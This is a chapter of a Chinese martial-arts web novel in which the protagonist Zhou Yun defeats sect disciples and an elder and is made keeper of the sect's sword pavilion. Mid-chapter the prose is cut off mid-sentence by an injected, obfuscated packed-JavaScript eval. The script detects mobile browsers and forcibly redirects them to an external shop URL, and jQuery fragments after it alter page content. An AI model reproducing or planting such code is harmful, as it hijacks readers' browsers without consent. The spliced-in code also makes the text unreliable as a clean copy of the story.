2. 第 2 章

作品:《这还是人吗?

    柳长风咬着牙,脸肿得说话都不利索:“他、他不识抬举,拦我车驾——”


    “很好。”周匀点头,“那现在,你也挡了我的路。”


    他抬脚,直接踩在柳长风肩头,一脚把人按得死死跪在地上,额头撞在地面,发出闷响。


    “从现在起,”周匀冷声道,“你在这具尸体前跪着。”


    柳长风怒火冲顶,挣扎着要起身:“周匀,你敢——”


    “我不光敢。”周匀俯身,手指捏住他的下巴,强迫他抬头,“我还要让你天剑门所有人看清楚。”


    他猛地一甩,把柳长风的脸按向那摊血水。


    “——谁,才有资格在这城门口说话。”


    柳长风的脸被血水和雨水糊得一片狼藉,嘴里全是腥甜味,刚想骂,周匀已经抬脚,再次踩在他后背上,直接把人半个身子都压进了泥水里。


    周围弟子再也忍不住,有人怒吼:“放开柳师兄!”


    十几柄长剑同时出鞘,寒光一片,朝周匀围拢过来。


    周匀连头都没回,袖子一抖。


    “铮——”


    插在地上的长剑猛地震动,像被什么力量牵引,剑身一横,带着一串水花,直接扫向最近的几名弟子。


    “砰砰砰——”


    几人胸口同时中剑,被横扫出去,撞在城墙上,吐血滑落,手中兵器尽数脱手。


    剩下的人脚步一顿,脸色大变。


    那柄长剑又“嗡”的一声,剑鸣清越,剑尖一转,稳稳停在周匀身侧,剑柄自动送到他手里。


    周匀抬手握住,动作随意,像是接过一根树枝。


    “天剑门的剑,”他淡淡道,“也不过如此。”


    他抬剑,剑锋一指那群弟子:“你们谁,敢替他出头?”


    雨幕里,一片死寂。


    雨水顺着剑锋滴落。


    没人动。


    柳师兄被周匀踩在脚下,脸涨得通红,偏偏连挣扎都不敢太大。


    “怎么?”周匀声音很轻,“刚才不是挺会喊?”


    他脚下一用力。


    “咔嚓——”


    柳师兄一声惨叫,膝盖直接跪进泥水里,半条裤腿瞬间被泥浆浸透,狼狈不堪。


    远处石阶上,一道冷喝炸开:“住手!”


    几道身影破雨而来,身法极快,衣袂翻飞,落在众弟子前方。


    为首的是个中年男子,剑眉冷目,鬓角微霜,身上长袍绣着金线飞剑,气势逼人。


    “执剑长老来了!”


    “是霍长老!”


    周围弟子像是抓到主心骨,脸上立刻浮起狂喜和狠意。


    霍长老目光一扫,落在被踩着的柳师兄身上,脸色瞬间阴沉下来。


    “放开他。”他声音低沉,带着压迫,“在我天剑门闹事,你胆子不小。”


    周匀看了他一眼,没动。


    “你在跟我说话?”他问。


    霍长老眉头一拧:“放人,我可以不追究你刚才的无礼。”


    周匀笑了一下,笑意却冷:“你算什么东西,也配跟我谈条件?”


    话音一落,周围弟子齐齐变色。


    “放肆!”


    “大胆狂徒!”


    几柄长剑忍不住又抬了起来。


    霍长老眼神一寒,袖子一甩,一股劲风扫过,直接把那些弟子震得后退两步。


    “退下!”他沉声喝道,“都给我闭嘴。”


    他盯着周匀,眼里杀意一点点浮上来:“小子,你是外门新进弟子?”


    周匀懒得回答,直接抬脚,把柳师兄往前一踢。


    “噗通——”


    柳师兄整个人在雨地里滚了两圈,狼狈地停在霍长老脚边,嘴里全是泥水,咳得眼泪都出来了。


    “霍长老……咳咳……他、他废了我一条手臂……”柳师兄咬牙,声音发抖,“还、还敢辱骂长老……”


    霍长老低头看了一眼他那软塌塌的手臂,眼神瞬间阴冷到极点。


    “很好。”他抬头,盯住周匀,“你可知,废我天剑门弟子一臂,是何罪?”


    周匀把剑往肩上一扛,像是扛着一根竹竿,站姿随意:“不知。”


    霍长老冷笑:“那我今日便教教你——”


    话还没说完,周匀忽然打断:“不过我知道,刚才他要废我一臂。”


    他抬剑,剑尖轻轻点了点地上的雨水,水花被挑起,顺着剑锋滑落。


    “我只是,比他快了一点。”


    霍长老眼神一凛:“狡辩!”


    他袖中长剑出鞘,剑光一闪,直接指向周匀:“跪下,自断一臂,我可留你一命。”


    周围弟子眼神兴奋,仿佛已经看到周匀跪地惨叫的样子。


    周匀看着那柄指着自己的剑,目光淡淡:“你确定,要我断一臂?”


    霍长老冷声道:“你没有选择。”


    “有。”周匀抬眼,雨水顺着他睫毛滑下,“我可以,先断你的。”


    话音落下,他脚下一点,整个人像一缕影子,瞬间消失在原地。


    “好快——”


    有人惊呼。


    霍长老瞳孔一缩,长剑横扫,剑光如练,护住周身要害。


    “叮——”


    金铁交击声炸开。


    雨幕被剑气撕出一道空白,溅起一圈水浪。


    霍长老只觉得手腕一麻,虎口发震,长剑几乎脱手而出。


    “怎么可能——”


    他心中骇然,脚下连退三步,每一步都在青石板上踏出裂痕。


    周匀已经回到原地,姿势没变,剑依旧搭在肩上,像是刚才什么都没发生。


    唯一的变化,是霍长老手里的剑。


    那柄象征执剑长老身份的长剑,此刻剑尖齐齐断去一截,断口平滑,掉在泥水里,被雨水一冲,滚到一旁。


    四周一片死寂。


    所有人都盯着那截断剑,喉结滚动,却发不出声音。


    霍长老脸色铁青,手指都在微微发抖。


    “你……”他咬牙,声音从牙缝里挤出来,“你敢毁我剑?”


    周匀淡淡道:“刚才你剑指着我。”


    他抬了抬下巴:“不习惯。”


    简单三个字,把所有人的呼吸都堵在胸口。


    柳师兄瞳孔放大,脸色惨白,嘴唇哆嗦:“不、不可能……霍长老的剑,怎么会——”


    周匀目光扫过他:“你刚才说,要我跪下?”


    柳师兄浑身一抖,连忙往后缩,却被霍长老一把拎住衣领,拽到身后。


    “够了!”霍长老低吼,“你给我闭嘴!”


    他深吸一口气,强行压下心中的震惊,猛地仰头,朝雨幕外高声喝道:


    “掌门!此子狂妄无礼,目无长辈,废我弟子,毁我佩剑,请掌门定夺!”


    声音透着内力,直冲云霄,在雨中久久回荡。


    山门上方,一道苍老却清晰的声音缓缓传来:“吵什么?”


    下一瞬,一道灰袍身影仿佛从雨雾中走出,脚步不快,却每一步都像踩在所有人心口上。


    天剑门掌门,到了。


    灰袍老者落在台阶尽头,雨水自动分开,脚下青石干净如洗。


    他抬眼,看了周匀一眼。


    只是淡淡一眼,周围所有弟子齐齐低头,肩背一沉,像被无形巨山压住。


    “见过掌门!”霍长老躬身,声音发紧,“此子出手狠辣,废我弟子,辱我门规,还——”


    “我问。”掌门打断他,声音不高,却压过所有雨声,“你闭嘴。”


    霍长老脸色一僵,硬生生咽下后半句。


    掌门目光落在那柄被斩断的佩剑上,停了停,又看向周匀手中那柄普通长剑。


    “你斩的?”他问。


    “嗯。”周匀抬剑,剑尖微斜,雨水顺着剑脊滑落,“剑不行,怪不得人。”


    一句话,把霍长老脸色当场扇得通红。


    四周弟子倒吸冷气,却没人敢出声。


    掌门盯着那截断剑,沉默片刻,忽然抬手一抓。


    断剑“铮”然飞起,落在他掌心。


    他两指一夹,指尖微微用力。


    “咔。”


    名剑残刃,再断一截,像脆木。


    霍长老瞳孔一缩:“掌门——”


    掌门看也不看他,淡淡道:“你这几年,就拿这种东西当佩剑?”


    霍长老嘴唇发白,额头冒汗:“此剑乃——”


    “我没问来历。”掌门抬眼,目光如刀,“我问你,敢不敢用这剑,挡他一剑?”


    霍长老喉结滚动,说不出话。


    掌门把那截更短的断剑随手一抛,断剑插进地面,只剩半寸剑柄露在外面。


    “你。”掌门看向周匀,“再出一剑。”


    周匀挑眉:“对他?”


    “对我。”掌门负手而立,灰袍在雨中猎猎,“尽全力。”


    场间瞬间死寂。


    霍长老猛地变色:“掌门万万不可!他心性狂妄,必——”


    “你若再多说一个字,”掌门头也不回,“立刻滚下山去闭关十年。”


    霍长老像被人掐住喉咙,脸涨得通红,却一句话都不敢再吐。


    所有弟子屏住呼吸,眼睛死死盯着周匀。


    周匀笑了笑,抬手一抖,长剑横空。


    “那我可不客气了。”


    话音落下,他脚下一错,整个人像一道冷光,直扑掌门。


    这一剑,比方才斩断佩剑那一剑更快、更狠、更直。


    剑身在雨幕中划出一道极细的白线,几乎贴着地面掠过,带起一片碎石飞溅。


    前排几个弟子只觉得眼前一花,衣袖齐齐被剑气割开一道细口,冷风灌入,皮肤发麻。


    剑尖直指掌门咽喉。


    掌门不退,甚至连手都没抬,灰袍在剑风中猎猎鼓起。


    就在剑尖即将点到他喉结的瞬间,他脚下微微一偏。


    没有身形暴退,没有大袖翻飞。


    只是极细微的一步。


    “嗡——”


    所有人眼前一晃。


    周匀只觉剑身一沉,像是刺进了一片看不见的泥沼,速度被硬生生拖慢。


    下一瞬,一只枯瘦的手,准确无误地捏住了他的剑尖。


    两指而已。


    雨水顺着剑锋滑下,被那两根手指截住,凝成一颗颗水珠,滴落在青石上。


    长剑再难寸进。


    台阶下,一片死寂。


    掌门低头,看着指间的剑尖,淡淡道:“力道不错。”


    周匀眼神一冷,手腕猛地一抖。


    “铮——”


    剑身暴震,一股更凶猛的剑意沿着剑锋狂涌而出,直冲掌门指尖。


    掌门眉梢微挑,指尖轻轻一弹。


    “啪。”


    那股剑意像撞上铁壁,当场崩碎,化作一圈无形气浪,向四周炸开。


    离得最近的几名弟子被震得连退数步,胸口发闷,脸色发白。


    周匀脚下也不由自主退了一步,虎口微麻。


    掌门松开手,长剑落回他掌中。


    他抬眼,看着周匀,目光第一次认真了几分。


    “你叫什么名字?”


    “周匀。”


    掌门点头:“从今日起,你是我天剑门记名弟子。”


    话音一落,全场炸锅。


    “掌门!”霍长老失声,“他废我弟子,辱我门规,您竟——”


    掌门转头,目光冰冷:“你弟子技不如人,被人一剑废去丹田,是他命薄。你身为长老,眼力不济,连一柄废剑都看不出问题,是你无能。”


    他一步一步走下台阶,每一步都踩在霍长老心口上。


    “门规?”掌门冷笑,“我天剑门门规里,可没写着‘废物要被供着’。”


    霍长老脸色铁青,青筋暴起,却被他一句话死死按住。


    掌门转向周匀:“你废他丹田,有何说辞?”


    “他要我跪。”周匀淡淡道,“我不习惯跪人。”


    掌门看着他,忽然笑了:“很好。”


    他转身,对着山门方向高声道:“传令下去——”


    “从今日起,周匀入我天剑门外门,所有弟子,见之同辈礼。”


    “谁敢再以门规压他,先把自己剑练利了,再来跟我说话。”


    山门外,一众弟子全听得清清楚楚。


    有人当场变了脸色,有人握紧了剑,有人低声骂娘,却没人敢吭声。


    掌门一句话,把他们这些老弟子,全踩在脚底下。


    周匀收剑入鞘,动作干脆,像是刚才废掉的不是一个内门弟子,而是一块破木头。


    掌门看了他一眼,抬手一招。


    “随我来。”


    他大袖一拂,身形一纵,往后山剑阁掠去。


    周匀脚尖一点,身影紧随其后,轻飘飘落在他身后半丈处,既不逾矩,也不卑躬。


    两人一前一后,穿过主峰长廊。


    路过的弟子纷纷让开,目光复杂。


    有嫉妒,有怨毒,有幸灾乐祸。


    “一个外来杂鱼,凭什么?”


    “掌门这是疯了?”


    “废了内门师兄的丹田,还能入门?这还是天剑门?”


    低语声此起彼伏,却没人敢抬头对视。


    掌门脚步未停,淡淡吐出两个字:


    “闭嘴。”


    整条长廊瞬间安静。


    风声都像被压下去。


    后山,剑阁前。


    一座三层木楼,静立在山崖边,楼前插着一排排旧剑,锈迹斑驳,剑柄磨损,像一片寂静的剑冢。


    掌门落地,负手而立。


    “你可知,我为何收你入外门?”


    “方便用。”周匀道,“也方便看。”


    掌门眼角一挑,似笑非笑:“倒是聪明。”


    他抬手一指剑阁:“进去。”


    “从今日起,你住剑阁。”


    “外门弟子,可来此领剑练剑。”


    “你,负责管剑。”


    周匀抬眼看那一整座剑阁。


    木楼窗棂斑驳,门口石阶被无数脚步磨得发亮,楼上挂着一块旧匾——“藏锋”。


    他迈步上前,推门而入。


    门轴发出一声干脆的轻响。


    剑阁内,冷气逼人。


    一排排剑架,从地面一直排到二楼、三楼,剑鞘、剑匣、长匣、短匣,密密麻麻。


    空气里全是铁锈味、松木味,还有一股被压制多年的锋利味道。


    掌门没有进来,只站在门外。


    “规矩我说一次,你记好了。”


    “剑阁所有剑器,外门弟子凭腰牌借用。”


    “损坏、遗失,记在借剑人头上。”


    “你只管登记,不必给谁脸。”


    “有人闹事——”他顿了顿,“先


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939324|192919||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打,再报。”


    周匀转身,目光平静:“打死呢?”


    掌门笑了笑:“那就看你本事。”


    他盯着周匀,语气淡淡:“你今日废我天剑门内门弟子丹田,我护你一次。”


    “但从明日起,你在这剑阁里,能活成什么样,全凭你自己。”


    “有人想弄死你,我不拦。”


    “有人想拉你下水,我也不拦。”


    “你若能从这堆破剑里,杀出一条路来——”


    他话锋一转:“那就不是外门的事了。”


    周匀点头:“明白。”


    掌门看了他一眼,忽然抬手,一柄剑从袖中飞出,稳稳插在门槛前的石缝里。


    “这剑,叫‘听雪’。”


    “曾是我随身佩剑。”


    “如今给你压剑阁门槛。”


    “谁敢在这剑阁撒野——”他目光一冷,“你就用它砍谁。”


    说完,他转身离去,衣袂翻飞,背影干脆利落。


    周匀低头,看向那柄“听雪”。


    剑鞘素白,剑柄包着旧皮,边角磨得发亮,没有半点花哨。


    他伸手握住剑柄,轻轻一拔。


    半寸剑锋露出,寒光一闪。


    不是废剑。


    是真正养过杀气的剑。


    周匀把剑重新按回鞘里,随手靠在门边。


    他抬眼,看向满阁旧剑。


    “从今天起,”他轻声道,“这里归我管。”


    话音刚落,外面就传来一阵急促脚步声。


    一群外门弟子,气势汹汹冲上后山。


    为首之人,腰间挂着一块外门首席腰牌,脸上带着压不住的怒意。


    “周匀在哪?”


    “让他滚出来!”


    周匀抬手,将“听雪”随意靠在门边,自己却空手走到门口。


    阳光从他身后斜斜照进来,把他整个人衬得极冷静。


    “我在。”他道,“吵什么?”


    外门首席盯着他,眼里几乎要喷火。


    “你废了我师兄丹田,还敢在这儿装大爷?”


    “今天,不跪着道歉,不把你手筋脚筋废了,你别想在天剑门待下去!”


    他话一出口,身后十几名外门弟子齐齐拔剑,剑尖一齐指向剑阁门口。


    剑光一片,杀气乱成一团。


    周匀看了看那一圈剑尖,又看了看门边那柄“听雪”。


    他没有去拿。


    只是抬手,指了指他们手里的剑。


    “想废我?”他声音不高,却字字清楚,“先把你们手里的破铁,练到能看。”


    “否则——”


    他往前迈了一步,直接踏进那一圈剑尖里。


    “你们连靠近我的资格,都没有。”


    剑尖齐齐一颤。


    最近的那名外门弟子脸色一变,下意识后退半步。


    外门首席怒极反笑:“好大的口气!”


    他一挥手。


    “给我上!谁先把他打跪了,赏上品灵石十块!”


    十几人眼睛都红了。


    灵石对外门弟子来说,就是命。


    “上!”


    最前面三人同时踏出,剑势一合,左右一封,中间直刺周匀咽喉。


    剑风扑面,衣角猎猎。


    周匀连眼皮都没抬。


    他只是微微侧身,脚尖一点门槛,整个人像被风一托,往前一滑。


    那三柄剑从他衣袖边擦过,连布料都没碰到。


    “你——”


    中间那人话还没出口,手腕一麻。


    周匀两指一夹,已经捏住了他的剑脊。


    “这种手腕,还敢拿剑?”


    他手指一抖。


    “咔”的一声脆响。


    那柄铁剑,硬生生从中间折成两截。


    中间那人只觉得虎口一震,整条手臂像被重锤砸中,剑还没松开,人已经跪下去半边。


    旁边两人脸色发白,剑势一乱。


    周匀懒得看他们。


    手肘一横,像是随手推门。


    两人胸口同时中了一记,整个人倒飞出去,撞在剑阁门柱上,闷哼一声,滑坐在地。


    外门首席脸色一沉:“一起上!”


    剩下的人咬牙,硬着头皮围上来。


    剑光乱成一片,寒芒乱窜。


    周匀站在中间,脚步极稳。


    他不退,反而再往前一步。


    那一步落下,地面灰尘微微一震。


    最近的四柄剑同时刺来,角度刁钻,封死他所有退路。


    他眼神冷下来。


    “剑是拿来杀人的,不是拿来抖的。”


    话音未落,他手腕一翻,抓住最近那人剑柄,往前一送。


    那人还没反应过来,自己的剑尖已经横着扫向旁边同伴的脖子。


    “躲开——”


    惊叫声还在半空,剑锋已经贴着那人喉咙划过一线血痕。


    周匀脚下一勾,把那人踉跄的身体顺势一送,撞进另一个人的怀里。


    两人抱成一团,双双摔倒。


    剑阵瞬间乱了。


    有人怒吼着劈剑,有人慌乱后退,剑尖乱晃。


    周匀像是在一堆破铜烂铁里穿行。


    他每走一步,就有一柄剑被打飞。


    有的被他两指一夹,直接掰断。


    有的被他脚背一挑,反手踢回去,砸在原主脸上,牙齿带血飞出去几颗。


    短短几个呼吸。


    地上已经躺了七八个人。


    有的抱着手腕惨叫,有的捂着胸口喘不过气,还有的脸上挂着血,眼里全是惊惧。


    他们刚才还嚷着要废他手筋脚筋。


    现在连站都站不稳。


    外门首席脸色铁青,手背青筋暴起。


    “都给我起来!一群废物!”


    没人敢动。


    他们不是不想动,是动不了。


    周匀抬眼看向他。


    “你刚才说什么?”


    他一步一步走过去,脚下踩过一地断剑。


    铁器被踩得“咔嚓”作响。


    外门首席咬牙,猛地拔剑。


    这柄剑,比其他人的都要长一寸,剑身微弯,寒光逼人。


    他深吸一口气,脚步一错,剑势一展。


    “天剑门·回风十三式!”


    剑光骤然暴涨。


    十三道剑影几乎同时铺开,像一张密不透风的网,朝周匀罩下去。


    周匀停下脚步。


    他看着那一片剑影,眼神淡得像在看一场表演。


    “这就叫‘回风’?”


    他抬起右手。


    没有剑。


    只有一只空手。


    下一瞬。


    他整个人突然前倾,脚步快得像是瞬移。


    所有围观的外门弟子,只看到一个残影从剑光里穿过。


    “叮叮叮——”


    一连串金铁交击声炸开。


    那十三道剑影,在半空中被生生打散。


    外门首席只觉得手腕像被铁钳夹住,虎口撕裂般疼。


    他低头一看。


    自己的剑,已经被周匀握在手里。


    而他的手,还牢牢抓着一个空剑柄。


    剑身,没了。


    断口整齐,像被什么硬生生削走。


    “你——”


    他瞳孔猛缩。